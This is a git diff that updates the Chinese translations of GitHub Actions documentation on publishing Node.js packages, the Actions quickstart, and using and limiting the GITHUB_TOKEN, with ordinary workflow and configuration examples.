-title: Publishing Node.js packages
-intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow.
+title: 发布 Node.js 包
+intro: 您可以将 Node.js 包发布到注册表，作为持续集成 (CI) 工作流程的一部分。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages
   - /actions/language-and-framework-guides/publishing-nodejs-packages
@@ -16,50 +16,50 @@ topics:
   - Publishing
   - Node
   - JavaScript
-shortTitle: Node.js packages
+shortTitle: Node.js 包
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass.
+本指南介绍如何创建一个工作流程，以在持续集成 (CI) 测试通过后将 Node.js 包发布到 {% data variables.product.prodname_registry %} 和 npm 注册表。
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+建议基本了解工作流程配置选项和如何创建工作流程文件。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)."
+有关为 Node.js 项目创建 CI 工作流程的更多信息，请参阅“[将 Node.js 与 {% data variables.product.prodname_actions %} 一起使用](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)。”
 
-You may also find it helpful to have a basic understanding of the following:
+您可能还发现基本了解以下内容是有帮助的：
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- “[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)”
+- "[环境变量](/actions/reference/environment-variables)"
+- [加密的密码](/actions/reference/encrypted-secrets)"
+- "[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## 关于包配置
 
- The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation.
+ *package.json* 文件中的 `name` 和 `version` 字段创建唯一标识符，供注册表用来将包链接到注册表。 您可以在 *package.json* 文件中添加 `description` 字段，从而为包列表页面添加一个摘要。 更多信息请参阅 npm 文档中的“[创建 package.json 文件](https://docs.npmjs.com/creating-a-package-json-file)”和“[创建 Node.js 模块](https://docs.npmjs.com/creating-node-js-modules)”。
 
-When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.github-actions.setup-node-intro %}
+当本地 *.npmrc* 文件存在且指定了 `registry` 值时，`npm publish` 命令将使用 *.npmrc* 文件中配置的注册表。 {% data reusables.github-actions.setup-node-intro %}
 
-You can specify the Node.js version installed on the runner using the `setup-node` action.
+您可以使用 `setup-node` 操作指定运行器上安装的 Node.js 版本。
 
-If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+如果在工作流程中添加步骤来配置 *package.json* 文件中的 `publishConfig` 字段，则无需使用 `setup-node` 操作指定注册表 url，但软件包仅限于发布到一个注册表。 更多信息请参阅 npm 文档中的“[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)”。
 
-## Publishing packages to the npm registry
+## 发布包到 npm 注册表
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass.
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件触发时运行。 如果 CI 测试通过，工作流程将包发布到 npm 注册表。
 
-To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+要根据工作流程中的 npm 注册表执行经过身份验证的操作，您需要将 npm 身份验证令牌作存储为密码。 例如，创建名为 `NPM_TOKEN` 的仓库密码。 更多信息请参阅“[创建和使用加密密码](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
+By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. 当发布到全局命名空间时，您只需要包含包名称。 For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
 
-If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally.
+如果发布一个包含范围前缀的包，请将范围包含在 *package.json* 文件的名称中。 例如，如果 npm 范围前缀是 octocat 并且包名是 hello-world，则 *package.json* 文件中的 `name` 应为 `@octocat/hello-world`。 如果 npm 包使用范围前缀且包是公开的，则需使用选项 `npm publish --access public`。 这是 npm 需要用来防止有人无意中发布私有包的选项。
 
-This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+此示例将 `NPM_TOKEN` 密码存储在 `NODE_AUTH_TOKEN` 环境变量中。 当 `setup-node` 操作创建 *.npmrc* 文件时，会引用 `NODE_AUTH_TOKEN` 环境变量中的令牌。
 
 {% raw %}
 ```yaml{:copy}
@@ -84,7 +84,7 @@ jobs:
 ```
 {% endraw %}
 
-In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents:
+在上面的示例中，`setup-node` 操作在运行器上创建一个包含以下内容的 *.npmrc* 文件：
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -94,15 +94,15 @@ always-auth=true
 
 Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials.
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## 发布包到 {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass.
+每次创建新版本时，都可以触发工作流程来发布包。 以下示例中的工作流程在类型为 `created` 的 `release` 事件发生时运行。 如果 CI 测试通过，工作流程会将包发布到 {% data variables.product.prodname_registry %}。
 
-### Configuring the destination repository
+### 配置目标仓库
 
-If you don't provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository.
+如果您没有在 *package.json* 文件中提供 `repository` 键，则 {% data variables.product.prodname_registry %} 将包发布到您在 *package.json* 文件的 `name` 字段中指定的 {% data variables.product.prodname_dotcom %} 仓库。 例如，名为 `@my-org/test` 的包将被发布到 `my-org/test` {% data variables.product.prodname_dotcom %} 仓库。
 
-However, if you do provide the `repository` key, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository.
+但是，如果您提供了 `repository` 键，则该键中的仓库将被用作 {% data variables.product.prodname_registry %} 的目标 npm 注册表。 例如，发布以下 *package.json* 将导致名为 `my-amazing-package` 的包被发布到 `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} 仓库。
 
 ```json
 {
@@ -113,15 +113,15 @@ However, if you do provide the `repository` key, then the repository in that key
   },
 ```
 
-### Authenticating to the destination repository
+### 向目标仓库验证
 
-To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
+要根据 {% data variables.product.prodname_registry %} 注册表在工作流程中执行经验证的操作，可以使用 `GITHUB_TOKEN`。 {% data reusables.github-actions.github-token-permissions %}
 
-If you want to publish your package to a different repository, you must use a personal access token (PAT) that has permission to write to packages in the destination repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+如果要将包发布到其他仓库，您必须使用对目标仓库中的包具有写入权限的个人访问令牌 (PAT)。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”和“[加密密码](/actions/reference/encrypted-secrets)”。
 
-### Example workflow
+### 示例工作流程
 
-This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+此示例将 `GITHUB_TOKEN` 密码存储在 `NODE_AUTH_TOKEN` 环境变量中。 当 `setup-node` 操作创建 *.npmrc* 文件时，会引用 `NODE_AUTH_TOKEN` 环境变量中的令牌。
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -149,7 +149,7 @@ jobs:
           NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file.
+`setup-node` 操作在运行器上创建 *.npmrc* 文件。 使用 `scope` 输入到 `setup-node` 操作时，*.npmrc* 文件包含作用域前缀。 默认情况下，`setup-node` 操作在 *.npmrc* 文件中将作用域设置为包含该工作流程文件的帐户。
 
 ```ini
 //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
@@ -157,9 +157,9 @@ The `setup-node` action creates an *.npmrc* file on the runner. When you use the
 always-auth=true
 ```
 
-## Publishing packages using yarn
+## 使用 yarn 发布包
 
-If you use the Yarn package manager, you can install and publish packages using Yarn.
+如果您使用 Yarn 包管理器，可以使用 Yarn 安装和发布包。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/zh-CN/content/actions/quickstart.md b/translations/zh-CN/content/actions/quickstart.md
index 38bf3fdf13..70701a20bd 100644
--- a/translations/zh-CN/content/actions/quickstart.md
+++ b/translations/zh-CN/content/actions/quickstart.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart for GitHub Actions
-intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.'
+title: GitHub Actions 快速入门
+intro: '在 5 分钟或更短的时间内尝试 {% data variables.product.prodname_actions %} 的功能。'
 allowTitleToDifferFromFilename: true
 redirect_from:
   - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates
@@ -12,23 +12,23 @@ versions:
 type: quick_start
 topics:
   - Fundamentals
-shortTitle: Quickstart
+shortTitle: 快速入门
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. 
+您只需要 {% data variables.product.prodname_dotcom %} 仓库来创建和运行 {% data variables.product.prodname_actions %} 工作流程。 在本指南中，您将添加一个工作流程，演示 {% data variables.product.prodname_actions %} 的一些基本功能。
 
-The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository.
+下面的示例显示 {% data variables.product.prodname_actions %} 作业如何自动触发、在哪里运行及其如何与仓库中的代码交互。
 
-## Creating your first workflow
+## 创建第一个工作流程
 
-1. Create a `.github/workflows` directory in  your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist.
-2. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)."
-3. Copy the following YAML contents into the `github-actions-demo.yml` file:
+1. 如果 `.github/workflows` 目录不存在，请在 {% data variables.product.prodname_dotcom %} 的仓库中创建此目录。
+2. 在 `.github/workflow` 目录中，创建一个名为 `github-actions-demo.yml` 的文件。 更多信息请参阅“[创建新文件](/github/managing-files-in-a-repository/creating-new-files)”。
+3. 将以下 YAML 内容复制到 `github-actions-demo.yml` 文件中：
     {% raw %}
     ```yaml{:copy}
     name: GitHub Actions Demo
@@ -51,42 +51,40 @@ The following example shows you how {% data variables.product.prodname_actions %
 
     ```
     {% endraw %}
-3. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**.
-    ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png)
+3. 滚动到页面底部，然后选择 **Create a new branch for this commit and start a pull request（为此提交创建一个新分支并开始拉取请求）**。 然后，若要创建拉取请求，请单击 **Propose new file（提议新文件）**。 ![提交工作流程文件](/assets/images/help/repository/actions-quickstart-commit-new-file.png)
 
-Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow.
+向仓库的分支提交工作流程文件会触发 `push` 事件并运行工作流程。
 
-## Viewing your workflow results
+## 查看工作流程结果
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to see.
+1. 在左侧边栏中，单击您想要查看的工作流程。
 
-   ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png)
-1. From the list of workflow runs, click the name of the run you want to see.
+   ![左侧边栏中的工作流程列表](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png)
+1. 从工作流程运行列表中，单击要查看的运行的名称。
 
-   ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png)
-1. Under **Jobs** , click the **Explore-GitHub-Actions** job.
+   ![工作流程运行的名称](/assets/images/help/repository/actions-quickstart-run-name.png)
+1. 在 **Jobs（作业）**下，单击 **Explore-GitHub-Actions** 作业。
 
-   ![Locate job](/assets/images/help/repository/actions-quickstart-job.png)
-1. The log shows you how each of the steps was processed. Expand any of the steps to view its details.
+   ![查找作业](/assets/images/help/repository/actions-quickstart-job.png)
+1. 日志显示每个步骤的处理方式。 展开任何步骤以查看其细节。
 
-   ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png)
-   
-   For example, you can see the list of files in your repository:
-   ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png)
-   
-## More workflow templates
+   ![示例工作流程结果](/assets/images/help/repository/actions-quickstart-logs.png)
+
+   例如，您可以在仓库中看到文件列表： ![示例操作详细信息](/assets/images/help/repository/actions-quickstart-log-detail.png)
+
+## 更多入门工作流程
 
 {% data reusables.actions.workflow-template-overview %}
 
-## Next steps
+## 后续步骤
 
-The example workflow you just added runs each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_actions %}:
+每次将代码推送到分支时，您刚刚添加的示例工作流程都会运行，并显示 {% data variables.product.prodname_actions %} 如何处理仓库的内容。 但是，这只是您可以对 {% data variables.product.prodname_actions %} 执行操作的开始：
 
-- Your repository can contain multiple workflows that trigger different jobs based on different events. 
-- You can use a workflow to install software testing apps and have them automatically test your code on {% data variables.product.prodname_dotcom %}'s runners. 
+- 您的仓库可以包含多个基于不同事件触发不同任务的工作流程。
+- 您可以使用工作流程安装软件测试应用程序，并让它们自动在 {% data variables.product.prodname_dotcom %} 的运行器上测试您的代码。
 
-{% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_actions %}:
+{% data variables.product.prodname_actions %} 可以帮助您自动执行应用程序开发过程的几乎每个方面。 准备好开始了吗？ 以下是一些帮助您对 {% data variables.product.prodname_actions %} 执行后续操作的有用资源：
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial.
+- “[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”，以获取深入教程
diff --git a/translations/zh-CN/content/actions/security-guides/automatic-token-authentication.md b/translations/zh-CN/content/actions/security-guides/automatic-token-authentication.md
index 40d3af358b..2ca7a9f638 100644
--- a/translations/zh-CN/content/actions/security-guides/automatic-token-authentication.md
+++ b/translations/zh-CN/content/actions/security-guides/automatic-token-authentication.md
@@ -1,6 +1,6 @@
 ---
 title: Automatic token authentication
-intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.'
+intro: '{% data variables.product.prodname_dotcom %} 提供一个令牌，可用于代表 {% data variables.product.prodname_actions %} 进行身份验证。'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
   - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
@@ -17,33 +17,33 @@ shortTitle: Automatic token authentication
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About the `GITHUB_TOKEN` secret
+## 关于 `GITHUB_TOKEN` 密码
 
-At the start of each workflow run, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run.
+在每个工作流程运行开始时，{% data variables.product.prodname_dotcom %} 会自动创建唯一的 `GITHUB_TOKEN` 密码以在工作流程中使用。 您可以使用 `GITHUB_TOKEN` 在工作流程运行中进行身份验证。
 
-When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+当您启用 {% data variables.product.prodname_actions %} 时，{% data variables.product.prodname_dotcom %} 在您的仓库中安装 {% data variables.product.prodname_github_app %}。 `GITHUB_TOKEN` 密码是一种 {% data variables.product.prodname_github_app %} 安装访问令牌。 您可以使用安装访问令牌代表仓库中安装的 {% data variables.product.prodname_github_app %} 进行身份验证。 令牌的权限仅限于包含您的工作流程的仓库。 更多信息请参阅“[`GITHUB_TOKEN`](#permissions-for-the-github_token) 的权限”。
 
-Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. The token expires when the job is finished.
+在每个作业开始之前， {% data variables.product.prodname_dotcom %} 将为作业提取安装访问令牌。 令牌在作业完成后过期。
 
-The token is also available in the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+令牌在 `github.token` 上下文中也可用。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。
 
-## Using the `GITHUB_TOKEN` in a workflow
+## 在工作流程中使用 `GITHUB_TOKEN`
 
-You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request.
+您可以使用标准语法引用密钥以使用 `GITHUB_TOKEN`：{%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}。 Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 {% note %}
 
-**Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+**重要：**即使工作流程没有明确将 `GITHUB_TOKEN` 传递到操作，操作也可以通过 `github.token` 上下文访问 `GITHUB_TOKEN` 。 作为一种良好的安全做法，您应该始终通过限制授予 `GITHUB_TOKEN` 的权限，确保操作只有所需的最低访问权限。 更多信息请参阅“[`GITHUB_TOKEN`](#permissions-for-the-github_token) 的权限”。
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.github-actions.actions-do-not-trigger-workflows %}
 
-### Example 1: passing the `GITHUB_TOKEN` as an input
+### 示例 1：将 `GITHUB_TOKEN` 作为输入传递
 
-This example workflow uses the [labeler action](https://github.com/actions/labeler), which requires the `GITHUB_TOKEN` as the value for the `repo-token` input parameter:
+此示例工作流程使用[贴标器操作](https://github.com/actions/labeler)，需要 `GITHUB_TOKEN` 作为 `repo-token` 输入参数的值：
 
 ```yaml
 name: Pull request labeler
@@ -64,9 +64,9 @@ jobs:
           repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-### Example 2: calling the REST API
+### 例2：调用 REST API
 
-You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API:
+您可以使用 `GITHUB_TOKEN` 进行经过验证的 API 调用。 此示例工作流程使用 {% data variables.product.prodname_dotcom %} REST API 创建议题：
 
 ```yaml
 name: Create issue on commit
@@ -87,72 +87,72 @@ jobs:
           --header 'content-type: application/json' \
           --data '{
             "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}",
-            "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_."
+            "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n 提交的散列为：_${% raw %}{{ github.sha }}{% endraw %}_.”
             }' \
           --fail
 ```
 
-## Permissions for the `GITHUB_TOKEN`
+## `GITHUB_TOKEN` 的权限
 
-For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)."
+有关 {% data variables.product.prodname_github_apps %} 可通过各种权限访问的 API 端点的信息，请参阅“[{% data variables.product.prodname_github_app %} 权限](/rest/reference/permissions-required-for-github-apps)”。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
+下表显示默认情况下授予 `GITHUB_TOKEN` 的权限。 People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
 
-| Scope         | Default access<br>(permissive) | Default access<br>(restricted) | Maximum access<br>by forked repos |
-|---------------|-----------------------------|-----------------------------|--------------------------------|
-| actions       | read/write  | none | read |
-| checks        | read/write  | none | read |
-| contents      | read/write  | read | read |
-| deployments   | read/write  | none | read |
-| id-token      | read/write  | none | read |
-| issues        | read/write  | none | read |
-| metadata      | read        | read | read |
-| packages      | read/write  | none | read |
-| pull requests | read/write  | none | read |
-| repository projects | read/write | none | read |
-| security events     | read/write | none | read |
-| statuses      | read/write  | none | read |
+| 作用域      | 默认访问<br>（允许） | 默认访问<br>（限制） | 复刻的仓库的最大访问权限<br> |
+| -------- | ------------------ | ------------------ | ---------------------- |
+| 操作       | 读/写                | 无                  | 读取                     |
+| 检查       | 读/写                | 无                  | 读取                     |
+| 内容       | 读/写                | 读取                 | 读取                     |
+| 部署       | 读/写                | 无                  | 读取                     |
+| id-token | 读/写                | 无                  | 读取                     |
+| 议题       | 读/写                | 无                  | 读取                     |
+| 元数据      | 读取                 | 读取                 | 读取                     |
+| 包        | 读/写                | 无                  | 读取                     |
+| 拉取请求     | 读/写                | 无                  | 读取                     |
+| 仓库项目     | 读/写                | 无                  | 读取                     |
+| 安全事件     | 读/写                | 无                  | 读取                     |
+| 状态       | 读/写                | 无                  | 读取                     |
 {% else %}
-| Scope    | Access type | Access by forked repos |
-|----------|-------------|--------------------------|
-| actions  | read/write  | read |
-| checks   | read/write  | read |
-| contents | read/write  | read |
-| deployments | read/write | read |
-| issues   | read/write  | read |
-| metadata | read        | read |
-| packages | read/write  | read |
-| pull requests | read/write | read |
-| repository projects | read/write | read |
-| statuses | read/write  | read |
+| 作用域  | 访问类型 | 通过复刻的仓库访问 |
+| ---- | ---- | --------- |
+| 操作   | 读/写  | 读取        |
+| 检查   | 读/写  | 读取        |
+| 内容   | 读/写  | 读取        |
+| 部署   | 读/写  | 读取        |
+| 议题   | 读/写  | 读取        |
+| 元数据  | 读取   | 读取        |
+| 包    | 读/写  | 读取        |
+| 拉取请求 | 读/写  | 读取        |
+| 仓库项目 | 读/写  | 读取        |
+| 状态   | 读/写  | 读取        |
 {% endif %}
 
 {% data reusables.actions.workflow-runs-dependabot-note %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-### Modifying the permissions for the `GITHUB_TOKEN`
+### 修改 `GITHUB_TOKEN` 的权限
 
-You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access.
+您可以在个别工作流程文件中修改 `GITHUB_TOKENN` 的权限。 如果 `GITHUB_TOKEN` 的默认权限是限制的，您可能需要提高权限以允许一些操作和命令成功运行。 如果默认权限是允许的，您可以编辑工作流程文件以从 `GITHUB_TOKEN` 中删除某些权限。 作为一种良好的安全做法，您应该授予 `GITHUB_TOKEN` 所需的最小访问权限。
 
-You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+您可以在工作流程运行日志的“设置作业”部分看到 `GITHUB_TOKEN` 对于特定作业的权限。 更多信息请参阅“[使用工作流程运行日志](/actions/managing-workflow-runs/using-workflow-run-logs)”。
 
-You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access.
+您可以在工作流文件中使用 `permissions` 键来修改 `GITHUB_TOKEN` 对于整个工作流或单个作业的权限。 这允许您为工作流程或作业配置所需的最小权限。 使用 `permissions` 键时，所有未指定的权限都设置为没有访问权限，`metadata`范围除外，该范围总是获得读取访问。
 
 {% data reusables.github-actions.forked-write-permission %}
 
-The two workflow examples earlier in this article show the `permissions` key being used at the workflow level, and at the job level. In [Example 1](#example-1-passing-the-github_token-as-an-input) the two permissions are specified for the entire workflow. In [Example 2](#example-2-calling-the-rest-api) write access is granted for one scope for a single job.
+本文前面的两个工作流程示例显示了在工作流程级别和作业级别使用的 `permissions` 键。 在[例 1](#example-1-passing-the-github_token-as-an-input) 中，为整个工作流程指定了两个权限。 在[示例 2](#example-2-calling-the-rest-api) 中，为单个作业的单一范围授予写入访问权限。
 
-For full details of the `permissions` key, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions)."
+有关 `permissions` 键的完整详情，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#permissions)”。
 
-#### How the permissions are calculated for a workflow job
+#### 如何计算工作流程作业的权限
 
